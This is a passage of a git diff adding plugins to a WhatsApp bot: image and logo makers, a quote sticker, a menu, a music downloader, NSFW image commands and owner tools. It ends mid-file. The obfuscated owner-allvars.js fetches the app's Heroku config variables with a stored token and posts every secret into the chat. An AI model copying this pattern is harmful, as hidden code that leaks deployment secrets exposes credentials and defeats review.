`https://api.caliph.biz.id/api/rem?nama=${encodeURIComponent(text.trim())}&apikey=caliphkey` + conn.sendFile(m.chat, cp, 'logo.png', `โœ… Result`, m) + m.react(done) + break + + case 'gfx4': + if (!text) throw tee + let gandu = `https://api.caliph.biz.id/api/textpro/matrix?text=${encodeURIComponent(text)}&apikey=caliphkey` + conn.sendFile(m.chat, gandu, 'logo.png', `โœ… Result`, m) + m.react(done) + break + case 'gfx5': + if (!text) throw tee + const apiUrll = `https://api.lolhuman.xyz/api/textprome/jokerlogo?apikey=${lolkeysapi}&text=${encodeURIComponent(text)}` + conn.sendFile(m.chat, apiUrll, 'logo.png', 'โœ… Result', m) + m.react('โœ…') + break + + case 'gfx6': + if (!text) throw too + if (!text.includes('+')) throw too + let [c, d] = text.split`+` + const apiUrl = `https://api.lolhuman.xyz/api/textprome2/lionlogo?apikey=${lolkeysapi}&text1=${encodeURIComponent(c)}&text2=${encodeURIComponent(d)}` + conn.sendFile(m.chat, apiUrl, 'logo.png', `โœ… Result`, m) + m.react(done) + break + case 'gfx7': + if (!text) throw too + if (!text.includes('+')) throw too + let [e, f] = text.split('+') + let oda = `https://api.lolhuman.xyz/api/photooxy2/battlefield4?apikey=${lolkeysapi}&text1=${encodeURIComponent(e.trim())}&text2=${encodeURIComponent(f.trim())}` + conn.sendFile(m.chat, oda, 'logo.png', `โœ… Result`, m) + + m.react(done) + break + case 'gfx8': + if (!text) throw tee + let rand = `https://api.lolhuman.xyz/api/ephoto1/anonymhacker?apikey=${lolkeysapi}&text=${encodeURIComponent(text)}` + conn.sendFile(m.chat, rand, 'logo.png', `โœ… Result`, m) + m.react(done) + break + case 'gfx9': + if (!text) throw tee + let randi = `https://api.lolhuman.xyz/api/ephoto1/avatarlolnew?apikey=${lolkeysapi}&text=${encodeURIComponent(text)}` + conn.sendFile(m.chat, randi, 'logo.png', `โœ… Result`, m) + m.react(done) + break + case 'gfx10': + if (!text) throw tee + let randu = `https://api.lolhuman.xyz/api/ephoto1/avatardota?apikey=${lolkeysapi}&text=${encodeURIComponent(text)}` + conn.sendFile(m.chat, randu, 'logo.png', `โœ… Result`, m) + m.react(done) + break + case 'gfx11': + if (!text) throw too + if (!text.includes('+')) throw too + let [g, h] = text.split('+') + let od = `https://api.lolhuman.xyz/api/ephoto2/codwarzone?apikey=${lolkeysapi}&text1=${encodeURIComponent(g.trim())}&text2=${encodeURIComponent(h.trim())}` + conn.sendFile(m.chat, od, 'logo.png', `โœ… Result`, m) + + m.react(done) + break + case 'gfx12': + if (!text) throw tee + let rr = `https://api.lolhuman.xyz/api/ephoto1/freefire?apikey=${lolkeysapi}&text=${encodeURIComponent(text)}` + conn.sendFile(m.chat, rr, 'logo.png', `โœ… Result`, m) + m.react(done) + break + + default: + } +} + +handler.help = [ + 'gfx1', + 'gfx2', + 'gfx3', + 'gfx4', + 'gfx5', + 'gfx6', + 'gfx7', + 'gfx8', + 'gfx9', + 'gfx10', + 'gfx11', + 'gfx12', +] +handler.tags = ['maker'] +handler.command = /^(gfx1|gfx2|gfx3|gfx4|gfx5|gfx6|gfx7|gfx8|gfx9|gfx10|gfx11|gfx12)$/i +handler.diamond = false + +export default handler diff --git a/silvaXlab/maker-quote.js b/silvaXlab/maker-quote.js new file mode 100644 index 0000000..d600088 --- /dev/null +++ b/silvaXlab/maker-quote.js @@ -0,0 +1,112 @@ +import fetch from 'node-fetch' +import { Sticker, createSticker, StickerTypes } from 'wa-sticker-formatter' + +import fs from 'fs' +import os from 'os' +import path from 'path' + +let handler = async (m, { conn, text }) => { + try { + if (!text && !(m.quoted && m.quoted.text)) { + throw `Please provide some text or quote a message to get a response.` + } + if (!text && m.quoted && m.quoted.text) { + text = m.quoted.text + } + + let who = m.quoted + ? m.quoted.sender + : m.mentionedJid && m.mentionedJid[0] + ? m.mentionedJid[0] + : m.fromMe + ? conn.user.jid + : m.sender + if (!(who in global.db.data.users)) throw 'โœณ๏ธ The user is not found in my database' + let userPfp = await conn + .profilePictureUrl(who, 'image') + .catch(_ => 'https://cdn.jsdelivr.net/gh/Guru322/api@Guru/guru.jpg') + let user = global.db.data.users[who] + let { name } = global.db.data.users[who] + + m.react(rwait) + + let quoteJson = { + type: 'quote', + format: 'png', + backgroundColor: '#FFFFFF', + width: 1800, + height: 200, // Adjust the height value as desired + scale: 2, + messages: [ + { + entities: [], + avatar: true, + from: { + id: 1, + name: name, + photo: { + url: userPfp, + }, + }, + text: text, + replyMessage: {}, + }, + ], + } + + let res = await fetch('https://bot.lyo.su/quote/generate', { + method: 'POST', + body: JSON.stringify(quoteJson), + headers: { 'Content-Type': 'application/json' }, + }) + + if (!res.ok) { + throw new Error(`Failed to fetch: ${res.status} ${res.statusText}`) + } + + let json = await res.json() + + if (!json.result || !json.result.image) { + throw new Error('Unexpected response structure') + } + function randomId() { + return Math.floor(100000 + Math.random() * 900000) + } + + let bufferImage = Buffer.from(json.result.image, 'base64') + + let tempImagePath = path.join(os.tmpdir(), 'tempImage.png') + fs.writeFileSync(tempImagePath, bufferImage) + let sticker = new Sticker(tempImagePath, { + pack: global.packname, + author: name, + type: StickerTypes.FULL, + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], + id: randomId(), + quality: 100, + background: '#00000000', + }) + + try { + await conn.sendMessage(m.chat, await sticker.toMessage(), { quoted: m }) + } catch (stickerError) { + console.error('Error sending sticker:', stickerError) + m.reply('Error sending sticker. Sending image instead.') + + await conn.sendFile(m.chat, tempImagePath, 'quote.png', 'Here is the quote image:', m) + } + + fs.unlinkSync(tempImagePath) + + m.react('๐Ÿคก') + } catch (e) { + console.error(e) + m.react('๐Ÿ˜ญ') + } +} + +handler.help = ['quote'] +handler.tags = ['fun'] +handler.command = ['quote'] + +export default handler diff --git a/silvaXlab/maker-simp.js b/silvaXlab/maker-simp.js new file mode 100644 index 0000000..261707a --- /dev/null +++ b/silvaXlab/maker-simp.js @@ -0,0 +1,24 @@ +let handler = async (m, { conn }) => { + let who = m.quoted + ? m.quoted.sender + : m.mentionedJid && m.mentionedJid[0] + ? m.mentionedJid[0] + : m.fromMe + ? conn.user.jid + : m.sender + conn.sendFile( + m.chat, + global.API('https://some-random-api.com', '/canvas/misc/simpcard', { + avatar: await conn + .profilePictureUrl(who, 'image') + .catch(_ => 'https://files.catbox.moe/8324jm.jpg'), + }), + 'error.png', + '*your religion is simping*', + m + ) +} +handler.help = ['simpcard'] +handler.tags = ['maker'] +handler.command = /^(simpcard)$/i +export default handler diff --git a/silvaXlab/maker-stupid.js b/silvaXlab/maker-stupid.js new file mode 100644 index 0000000..d617fa1 --- /dev/null +++ b/silvaXlab/maker-stupid.js @@ -0,0 +1,26 @@ +let handler = async (m, { conn, args }) => { + let text = args.slice(1).join(' ') + let who = m.quoted + ? m.quoted.sender + : m.mentionedJid && m.mentionedJid[0] + ? m.mentionedJid[0] + : m.fromMe + ? conn.user.jid + : m.sender + conn.sendFile( + m.chat, + global.API('https://some-random-api.com', '/canvas/misc/its-so-stupid', { + avatar: await conn + .profilePictureUrl(who, 'image') + .catch(_ => 'https://files.catbox.moe/8324jm.jpg'), + dog: text || 'im+stupid', + }), + 'error.png', + `*@${author}*`, + m + ) +} +handler.help = ['itssostupid', 'iss', 'stupid'] +handler.tags = ['maker'] +handler.command = /^(itssostupid|iss|stupid)$/i +export default handler diff --git a/silvaXlab/maker-tweet.js b/silvaXlab/maker-tweet.js new file mode 100644 index 0000000..9757915 --- /dev/null +++ b/silvaXlab/maker-tweet.js @@ -0,0 +1,22 @@ +let handler = async (m, { conn, text }) => { + if (!text) throw 'No Text' + + const avatar = await conn + .profilePictureUrl(m.sender, 'image') + .catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png') + const displayName = conn.getName(m.sender) + const username = m.sender.split('@')[0] + const replies = '69' // Replace with the desired value + const retweets = '69' // Replace with the desired value + const theme = 'dark' // Replace with the desired value + + const url = `https://some-random-api.com/canvas/misc/tweet?displayname=${encodeURIComponent(displayName)}&username=${encodeURIComponent(username)}&avatar=${encodeURIComponent(avatar)}&comment=${encodeURIComponent(text)}&replies=${encodeURIComponent(replies)}&retweets=${encodeURIComponent(retweets)}&theme=${encodeURIComponent(theme)}` + + conn.sendFile(m.chat, url, 'tweet.png', '*THANKS FOR TWEETING*', m) +} + +handler.help = ['tweet '] +handler.tags = ['maker'] +handler.command = /^(tweet)$/i + +export default handler diff --git a/silvaXlab/memes-cheems.js b/silvaXlab/memes-cheems.js new file mode 100644 index 0000000..9560530 --- /dev/null +++ b/silvaXlab/memes-cheems.js @@ -0,0 +1,19 @@ +import fetch from 'node-fetch' + +let handler = async (m, { conn }) => { + +let msg = `Cheemu Memes ๐Ÿ˜‚๐Ÿ˜‚` +let endpoint = `https://shizoapi.onrender.com/api/memes/cheems?apikey=${shizokeys}` +const response = await fetch(endpoint); +if (response.ok) { + const imageBuffer = await response.buffer(); + await conn.sendFile(m.chat, imageBuffer, 'shizo.techie.error.png', msg, m, null, rpyt); + } else { + throw bug + } +} + +handler.tags = ['memes'] +handler.help = handler.command = ['cheems'] + +export default handler diff --git a/silvaXlab/mention.js b/silvaXlab/mention.js new file mode 100644 index 0000000..ac17e50 --- /dev/null +++ b/silvaXlab/mention.js @@ -0,0 +1,24 @@ + +let handler = async (m, { conn }) => { + let user = global.db.data.users[m.sender] + let name = conn.getName(m.sender) + let taguser = '@' + m.sender.split('@s.whatsapp.net')[0] + let av = `./media/Silva9.mp3` + + +conn.sendButton(m.chat, `*HELLO DID YOU CALL OUT FOR ME* + @${m.sender.split('@')[0]} + *AM SILVA MD USER WHATSAPP BOT HOW CAN I ASSIST YOU TODAY/TONIGHT? ๐Ÿ˜‡* + `.trim(), igfg, null, [['TOUCH ME', '.grp'],['BOT SC', '.repo']] , m, { mentions: [m.sender] }) + +conn.sendFile(m.chat, av, 'audio.mp3', null, m, true, { type: 'audioMessage', ptt: true }) +} + +handler.customPrefix = /^(bot|Silva)$/i +handler.command = new RegExp() + +export default handler + +function pickRandom(list) { + return list[Math.floor(list.length * Math.random())] +} diff --git a/silvaXlab/menu.js b/silvaXlab/menu.js new file mode 100644 index 0000000..80410bf --- /dev/null +++ b/silvaXlab/menu.js @@ -0,0 +1,160 @@ +import { generateWAMessageFromContent } from '@whiskeysockets/baileys' +const { + proto, + generateWAMessage, + areJidsSameUser, + prepareWAMessageMedia +} = (await import('@whiskeysockets/baileys')).default +import { createHash } from 'crypto' +import PhoneNumber from 'awesome-phonenumber' +import { canLevelUp, xpRange } from '../lib/levelling.js' + +import fetch from 'node-fetch' +import fs from 'fs' +const { levelling } = '../lib/levelling.js' +import moment from 'moment-timezone' +import { promises } from 'fs' +import { join } from 'path' +const time = moment.tz('Africa/Nairobi').format('HH') +let wib = moment.tz('Africa/Nairobi').format('HH:mm:ss') +//import db from '../lib/database.js' + +let handler = async (m, { conn, usedPrefix, command}) => { + + let d = new Date(new Date + 3600000) + let locale = 'en' + let week = d.toLocaleDateString(locale, { weekday: 'long' }) + let date = d.toLocaleDateString(locale, { day: 'numeric', month: 'long', year: 'numeric' }) + let _uptime = process.uptime() * 1000 + let uptime = clockString(_uptime) +let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender; +if (!(who in global.db.data.users)) throw `โœณ๏ธ The user is not found in my database` +//let pp = (thumb) +let user = global.db.data.users[m.sender] +let { name, exp, diamond, lastclaim, registered, regTime, age, level, role, warn } = global.db.data.users[who] +let { min, xp, max } = xpRange(user.level, global.multiplier) +let username = conn.getName(who) +let math = max - xp +let prem = global.prems.includes(who.split`@`[0]) +let sn = createHash('md5').update(who).digest('hex') +let totaluser = Object.values(global.db.data.users).length +let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length +let more = String.fromCharCode(8206) +let readMore = more.repeat(850) +let greeting = ucapan() +let taguser = '@' + m.sender.split("@s.whatsapp.net")[0] + +let str = ` โค๏ธ *_Hello ${name}, ${greeting}! Welcome to my menu!_* ๐Ÿฅณ +โ•ญโ•โ•โ•ใ€˜ ๐‘บ๐‘ฐ๐‘ณ๐‘ฝ๐‘จ ๐‘ฉ๐‘ถ๐‘ป ใ€™โ•โ•โ•โŠทโ +โ”ƒโœฐโ”‚โ”โ”โ”โฎโฎ CMD LINE โฏโฏโ”โ”โ”โ”โ”โ” +โ”ƒโœฐโ”‚๐™ฝ๐šŠ๐š–๐šŽ: ${global.author} +โ”ƒโœฐโ”‚๐šƒ๐š˜๐š๐šŠ๐š•: 700+ Features +โ”ƒโœฐโ”‚Network:LTE +โ”ƒโœฐโ”‚แด แด‡ส€๊œฑษชแดษด: BETA +โ”ƒโœฐโ”‚แดแดกษดแด‡ส€ : *๐•Š๐•€๐•ƒ๐•๐”ธ* +โ”ƒโœฐโ”‚ษดแดœแดส™แด‡ส€: 254743706010 +โ”ƒโœฐโ”‚HOSTER: *Silva Platform* +โ”ƒโœฐโ”‚แดแดแด…แด‡: *Unkown* +โ”ƒโœฐโ”‚แด˜ส€แด‡า“ษชx: *Multi-Prefix* +โ”ƒโœฐโ”‚Uptime: ${uptime} +โ”ƒโœฐโ”‚Today's Date: ${date} +โ”ƒโœฐโ”‚Current Time: ${wib} +โ”ƒโœฐโ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—โ—โ–บ +โ”ƒโœฐโ”‚๐• https://x.com/@silva_african +โ”ƒโœฐโ”‚ โ–Žโ–โ–Œโ–Œโ–‰โ–โ–Žโ–Œโ–‰โ–โ–โ–Œโ–Ž +โ”ƒโœฐโ”‚ โ–Žโ–โ–Œโ–Œโ–‰โ–โ–Žโ–Œโ–‰โ–โ–โ–Œโ–Ž +โ”ƒโœฐโ”‚ ยฉ๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“ +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +Thank you for choosing silva md +powered by Sylivanusโค๏ธ +โ”€โ•โœงโœงโ•โ”€ ๐•Š๐•€๐•ƒ๐•๐”ธ ๐”น๐•†๐•‹ โ”€โ•โœงโœงโ•โ”€` + +let msg = generateWAMessageFromContent(m.chat, { + + viewOnceMessage: { + + message: { + + "messageContextInfo": { + "deviceListMetadata": {}, + "deviceListMetadataVersion": 2 + }, + + interactiveMessage: proto.Message.InteractiveMessage.create({ + body: proto.Message.InteractiveMessage.Body.create({ + text: str + }), + + footer: proto.Message.InteractiveMessage.Footer.create({ + text: "Use The Below Buttons" + }), + + header: proto.Message.InteractiveMessage.Header.create({ + ...(await prepareWAMessageMedia({ image : { url: 'https://files.catbox.moe/8324jm.jpg'}}, { upload: conn.waUploadToServer})), + title: null, + subtitle: null, + hasMediaAttachment: false + + }), + nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ + buttons: [ + { + "name": "single_select", + "buttonParamsJson": + "{\"title\":\"TAP TO OPEN\",\"sections\":[{\"title\":\"HERE IS ALL LIST OF MENU\",\"highlight_label\":\"SILVA\",\"rows\":[{\"header\":\"\",\"title\":\"๐Ÿ’€ Bot Menu\",\"description\":\"The Bot's secret control panel. What's your command, oh great one?\",\"id\":\".botmenu\"},{\"header\":\"\",\"title\":\"๐Ÿ“š Owner Menu\",\"description\":\"The sacred scroll only for the chosen one. Yep, that's you, Boss!\",\"id\":\".ownermenu\"},{\"header\":\"\",\"title\":\"๐Ÿง‘โ€๐Ÿคโ€๐Ÿง‘ Group Menu\",\"description\":\"Group shenanigans central! Unite, chat, conquer!\",\"id\":\".groupmenu\"},{\"header\":\"\",\"title\":\"๐Ÿ“ฅ Download Menu\",\"description\":\"'DL' stands for 'Delicious Loot'. Come grab your goodies!\",\"id\":\".dlmenu\"},{\"header\":\"\",\"title\":\"๐ŸŽ‰ Fun Menu\",\"description\":\"The bot's party hat. Games, jokes and instant ROFLs. Let's get this party started!\",\"id\":\".funmenu\"},{\"header\":\"\",\"title\":\"๐Ÿ’ฐ Economy Menu\",\"description\":\"Bling bling! Your personal vault of virtual economy. Spend or save? Choose wisely!\",\"id\":\".economymenu\"},{\"header\":\"\",\"title\":\"๐ŸŽฎ Game Menu\",\"description\":\"Enter the gaming arena. May the odds be ever in your favor!\",\"id\":\".gamemenu\"},{\"header\":\"\",\"title\":\"๐ŸŽจ Sticker Menu\",\"description\":\"A rainbow of stickers for your inner artist. Make your chats pop!\",\"id\":\".stickermenu\"},{\"header\":\"\",\"title\":\"๐Ÿงฐ Tool Menu\",\"description\":\"Your handy-dandy toolkit. What's your pick, genius?\",\"id\":\".toolmenu\"},{\"header\":\"\",\"title\":\"๐ŸŽฉ Logo Menu\",\"description\":\"Create a logo that screams YOU. Or whispers. You choose the volume.\",\"id\":\".logomenu\"},{\"header\":\"\",\"title\":\"๐ŸŒ™ NSFW Menu\",\"description\":\"The After Dark menu. But remember, sharing adult secrets must be consent-based.\",\"id\":\".nsfwmenu\"}]}]}" + }, + { + "name": "quick_reply", + "buttonParamsJson": "{\"display_text\":\"Ownerโœจโค๏ธ\",\"id\":\".grp\"}" + }, + { + "name": "quick_reply", + "buttonParamsJson": "{\"display_text\":\"SECOND MENU ๐Ÿ“ฒ\",\"id\":\".menu2\"}" + }, + { + "name": "cta_url", + "buttonParamsJson": "{\"display_text\":\"BOT SC ๐ŸŽ‰\",\"url\":\"https://github.com/SilvaTechB/silva-md-bot\",\"merchant_url\":\"https://github.com/SilvaTechB\"}" + } + ], + }) + }) + } + } +}, {}) + +await conn.relayMessage(msg.key.remoteJid, msg.message, { + + messageId: msg.key.id + +}) + + +} +handler.help = ['main'] +handler.tags = ['group'] +handler.command = ['menu', 'help','h','commands'] + +export default handler +function clockString(ms) { + let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) + let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 + let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')} + + function ucapan() { + const time = moment.tz('Africa/Nairobi').format('HH') + let res = "happy early in the dayโ˜€๏ธ" + if (time >= 4) { + res = "Good Morning ๐Ÿฅฑ" + } + if (time >= 10) { + res = "Good Afternoon ๐Ÿซ " + } + if (time >= 15) { + res = "Good Afternoon ๐ŸŒ‡" + } + if (time >= 18) { + res = "Good Night ๐ŸŒ™" + } + return res + } diff --git a/silvaXlab/musicdl.js b/silvaXlab/musicdl.js new file mode 100644 index 0000000..b0ba395 --- /dev/null +++ b/silvaXlab/musicdl.js @@ -0,0 +1,104 @@ +// musicdl.js + +import fetch from 'node-fetch' +import ytdl from 'ytdl-core' +import yts from 'yt-search' +import fs from 'fs' +import { pipeline } from 'stream' +import { promisify } from 'util' +import os from 'os' + +const streamPipeline = promisify(pipeline) + +let handler = async (m, { conn, command, text, usedPrefix }) => { + if (!text) throw `*Enter a song name!*\n\n*Example:*\n${usedPrefix + command} Heat waves` + try { + let search = await yts(text) + let vid = search.videos[0] + if (!vid) throw 'Song/Video not found!' + let { title, thumbnail, timestamp, views, ago, url } = vid + + // Send "Downloading..." message + let m1 = await m.reply('*Downloading your song...* ๐ŸŽต') + + // Get audio stream + let stream = ytdl(url, { + filter: 'audioonly', + quality: 'highestaudio', + }) + + // Create temporary file path + let tmpDir = os.tmpdir() + let filePath = `${tmpDir}/${title}.mp3` + + // Download and save audio + await streamPipeline(stream, fs.createWriteStream(filePath)) + + // Prepare message template + let doc = { + audio: { + url: filePath + }, + mimetype: 'audio/mpeg', + fileName: `${title}.mp3`, + contextInfo: { + externalAdReply: { + showAdAttribution: true, + mediaType: 2, + mediaUrl: url, + title: title, + body: 'SILVA MD MUSIC BOT', + sourceUrl: url, + thumbnail: await (await fetch(thumbnail)).buffer() + } + } + } + + // Send audio file with metadata + await conn.sendMessage(m.chat, doc, { quoted: m }) + + // Delete temporary file + fs.unlink(filePath, (err) => { + if (err) console.error('Error deleting temp file:', err) + }) + + // Delete "Downloading..." message + await m1.delete() + + } catch (error) { + console.error('Error in music download:', error) + m.reply(`An error occurred: ${error.message}\nPlease try again later`) + } +} + +handler.help = ['play'].map(v => v + ' ') +handler.tags = ['downloader'] +handler.command = /^(play3|song3|music)$/i + +handler.exp = 0 +handler.limit = false +handler.register = false + +export default handler + +// Additional utility functions +async function fetchBuffer(url) { + try { + const response = await fetch(url) + const buffer = await response.buffer() + return buffer + } catch (error) { + console.error('Error fetching buffer:', error) + throw error + } +} + +async function shortUrl(url) { + try { + const response = await fetch(`https://tinyurl.com/api-create.php?url=${url}`) + return await response.text() + } catch (error) { + console.error('Error shortening URL:', error) + return url + } +} diff --git a/silvaXlab/nsfw-nsfw.js b/silvaXlab/nsfw-nsfw.js new file mode 100644 index 0000000..dce52fd --- /dev/null +++ b/silvaXlab/nsfw-nsfw.js @@ -0,0 +1,58 @@ +import fetch from 'node-fetch' +import axios from 'axios' +let handler = async (m, { conn, usedPrefix, command }) => { + if (!global.db.data.chats[m.chat].nsfw) + throw `๐Ÿšซ group doesnt supprt nsfw \n\n enable it by \n*${usedPrefix}enable* nsfw` + let user = global.db.data.users[m.sender].age + if (user < 17) throw m.reply(`โŽ uneed to be atleast 18 years`) + + m.react(rwait) + let type = command.toLowerCase() + + switch (type) { + case 'ass': + case 'gand': + let as = await conn.getFile(`${gurubot}/rnsfw/gand`) + conn.sendFile(m.chat, as.data, 'img.jpg', `โœ… Random ${command}`, m) + m.react(xmoji) + break + + case 'boobs': + case 'boobies': + let xb = await conn.getFile(`${gurubot}/rnsfw/tits`) + conn.sendFile(m.chat, xb.data, 'img.jpg', `โœ… Random ${command}`, m) + m.react(xmoji) + break + + case 'pussy': + case 'chut': + let xp = await conn.getFile(`${gurubot}/rnsfw/porn`) + conn.sendFile(m.chat, xp.data, 'img.jpg', `โœ… Random ${command}`, m) + m.react(xmoji) + break + + case 'lesbians': + case 'lesbian': + let les = await conn.getFile(`${gurubot}/rnsfw/imglesbian`) + conn.sendFile(m.chat, les.data, 'img.jpg', `โœ… Random ${command}`, m) + m.react(xmoji) + break + + case 'pack': + case 'cosplay': + let img = await conn.getFile(`${gurubot}/rnsfw/packgirl`) + conn.sendFile(m.chat, img.data, 'img.jpg', `โœ… Result ๐Ÿคญ`, m) + m.react(xmoji) + break + + default: + } +} +handler.help = ['ass', 'boobs', 'lesbian', 'pussy', 'pack'] +handler.tags = ['nsfw'] +handler.command = /^(ass|gand|boobs|boobies|lesbian|lesbians|pussy|chut|cosplay|pack)$/i +handler.diamond = true +handler.register = true +handler.group = true + +export default handler diff --git a/silvaXlab/owner-addsudo.js b/silvaXlab/owner-addsudo.js new file mode 100644 index 0000000..b9b14a4 --- /dev/null +++ b/silvaXlab/owner-addsudo.js @@ -0,0 +1,22 @@ +let handler = async (m, { conn, text }) => { + let who + if (m.isGroup) { + who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text + } else { + who = m.chat + } + let name = await conn.getName(m.quoted.sender) + if (!who) throw 'Tag the person you want to make an Owner!' + if (global.owner.includes(who.split('@')[0])) throw 'This person is already an owner!' + global.owner.push([who.split('@')[0], name, true]) + const caption = `Now @${who.split('@')[0]} has been made an Owner!` + await conn.reply(m.chat, caption, m, { + mentions: conn.parseMention(caption), + }) +} +handler.help = ['addowner @user'] +handler.tags = ['owner'] +handler.command = /^(add|give|-)(owner|sudo)$/i +handler.owner = true + +export default handler diff --git a/silvaXlab/owner-allow.js b/silvaXlab/owner-allow.js new file mode 100644 index 0000000..ee062e4 --- /dev/null +++ b/silvaXlab/owner-allow.js @@ -0,0 +1,22 @@ +let handler = async (m, { conn, text, usedPrefix, command }) => { + let who + if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : false + else who = m.chat + let user = global.db.data.users[who] + if (!who) throw `โœณ๏ธ Tag or mention someone\n\n๐Ÿ“Œ Example : ${usedPrefix + command} @user` + if (global.allowed.includes(who.split`@`[0])) + throw 'The user Mentioned is already allowed to use the bot in DM ' + global.allowed.push(`${who.split`@`[0]}`) + + conn.reply(m.chat, ` @${who.split`@`[0]} got the ultimate pass to use the bot in DM`, m, { + mentions: [who], + }) +} +handler.help = ['allow <@tag>'] +handler.tags = ['owner'] +handler.command = ['allow', 'makeallow', 'al'] + +handler.group = true +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-allvars.js b/silvaXlab/owner-allvars.js new file mode 100644 index 0000000..6037e72 --- /dev/null +++ b/silvaXlab/owner-allvars.js @@ -0,0 +1,95 @@ +const _0x411383 = _0x24cf +;(function (_0x5a4ade, _0x2c18b8) { + const _0x29845 = _0x24cf, + _0x534f80 = _0x5a4ade() + while (!![]) { + try { + const _0x542d5d = + -parseInt(_0x29845(0xfc)) / 0x1 + + (parseInt(_0x29845(0xf4)) / 0x2) * (parseInt(_0x29845(0xf5)) / 0x3) + + (parseInt(_0x29845(0xf8)) / 0x4) * (-parseInt(_0x29845(0xfb)) / 0x5) + + -parseInt(_0x29845(0xfa)) / 0x6 + + parseInt(_0x29845(0xfe)) / 0x7 + + (parseInt(_0x29845(0x102)) / 0x8) * (parseInt(_0x29845(0xff)) / 0x9) + + parseInt(_0x29845(0xeb)) / 0xa + if (_0x542d5d === _0x2c18b8) break + else _0x534f80['push'](_0x534f80['shift']()) + } catch (_0x25f1d3) { + _0x534f80['push'](_0x534f80['shift']()) + } + } +})(_0x2cfd, 0xe5469) +function _0x24cf(_0x46903a, _0x19fa02) { + const _0x2cfd84 = _0x2cfd() + return ( + (_0x24cf = function (_0x24cf87, _0x3ae15b) { + _0x24cf87 = _0x24cf87 - 0xea + let _0x5c2102 = _0x2cfd84[_0x24cf87] + return _0x5c2102 + }), + _0x24cf(_0x46903a, _0x19fa02) + ) +} +import _0x4d4aa1 from 'heroku-client' +let handler = async (_0x86a940, { isROwner: _0x2e73f1 }) => { + const _0x5931a0 = _0x24cf + if (_0x2e73f1) { + await _0x86a940[_0x5931a0(0x100)](_0x5931a0(0xed)) + const _0x1e52e2 = new _0x4d4aa1({ token: process['env'][_0x5931a0(0xfd)] }), + _0x1b4f1a = process[_0x5931a0(0xea)]['HAPP'] + try { + const _0x38a8d1 = await _0x1e52e2[_0x5931a0(0xec)]( + _0x5931a0(0x104) + _0x1b4f1a + _0x5931a0(0x103) + ), + _0x56605e = Object[_0x5931a0(0x106)](_0x38a8d1) + [_0x5931a0(0xf0)](([_0x44c27d, _0xd8d5ee]) => _0x44c27d + ':\x20' + _0xd8d5ee) + [_0x5931a0(0xf3)]('\x0a') + await _0x86a940[_0x5931a0(0x100)]('๐Ÿ”Config\x20Vars:\x0a' + _0x56605e) + } catch (_0xb64e30) { + console['error'](_0x5931a0(0xf7), _0xb64e30['message']) + throw _0x5931a0(0x105) + } + } else throw _0x5931a0(0xf9) +} +;(handler[_0x411383(0xee)] = [_0x411383(0xf1)]), + (handler[_0x411383(0xf2)] = [_0x411383(0xf6)]), + (handler['command'] = [_0x411383(0x101)]), + (handler[_0x411383(0xef)] = !![]) +export default handler +function _0x2cfd() { + const _0x1bdc17 = [ + '1394790DpDzYW', + 'HKEY', + '6776966FPltKs', + '18hDCkXB', + 'reply', + 'allvars', + '1358872UdXxae', + '/config-vars', + '/apps/', + 'Failed\x20to\x20retrieve\x20config\x20vars.\x20Check\x20logs\x20for\x20details.', + 'entries', + 'env', + '13766090woCvvn', + 'get', + 'โš™๏ธ\x20Retrieving\x20Config\x20Vars...\x0aWait\x20a\x20moment', + 'help', + 'rowner', + 'map', + 'HEROKU', + 'tags', + 'join', + '152uogGln', + '56769mdROAk', + 'owner', + 'Error\x20retrieving\x20config\x20vars:', + '8048rRfXqx', + 'You\x20are\x20not\x20the\x20owner', + '1388532ZQNuun', + '3870uUFaQy', + ] + _0x2cfd = function () { + return _0x1bdc17 + } + return _0x2cfd() +} diff --git a/silvaXlab/owner-banUser.js b/silvaXlab/owner-banUser.js new file mode 100644 index 0000000..fef6415 --- /dev/null +++ b/silvaXlab/owner-banUser.js @@ -0,0 +1,27 @@ +//import db from '../lib/database.js' + +let handler = async (m, { conn, text, usedPrefix, command }) => { + let who + if (m.isGroup) who = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : false + else who = m.chat + let user = global.db.data.users[who] + if (!who) throw `โœณ๏ธ Tag or mention someone\n\n๐Ÿ“Œ Example : ${usedPrefix + command} @user` + let users = global.db.data.users + users[who].banned = true + conn.reply( + m.chat, + ` +โœ… BANNED + +โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +@${who.split`@`[0]} you will no longer be able to use my commands `, + m, + { mentions: [who] } + ) +} +handler.help = ['ban @user'] +handler.tags = ['owner'] +handler.command = /^ban$/i +handler.rowner = true + +export default handler diff --git a/silvaXlab/owner-banchat.js b/silvaXlab/owner-banchat.js new file mode 100644 index 0000000..7627c06 --- /dev/null +++ b/silvaXlab/owner-banchat.js @@ -0,0 +1,12 @@ +//import db from '../lib/database.js' + +let handler = async (m, { conn, isOwner, isAdmin, isROwner }) => { + if (!(isAdmin || isOwner)) return dfail('admin', m, conn) + global.db.data.chats[m.chat].isBanned = true + m.reply('โœ… The bot was deactivated in this group') +} +handler.help = ['banchat'] +handler.tags = ['owner'] +handler.command = ['banchat', 'chatoff'] + +export default handler diff --git a/silvaXlab/owner-broadcast.js b/silvaXlab/owner-broadcast.js new file mode 100644 index 0000000..8734d49 --- /dev/null +++ b/silvaXlab/owner-broadcast.js @@ -0,0 +1,40 @@ +//import Connection from '../lib/connection.js' +import { randomBytes } from 'crypto' + +let handler = async (m, { conn, text }) => { + let chats = 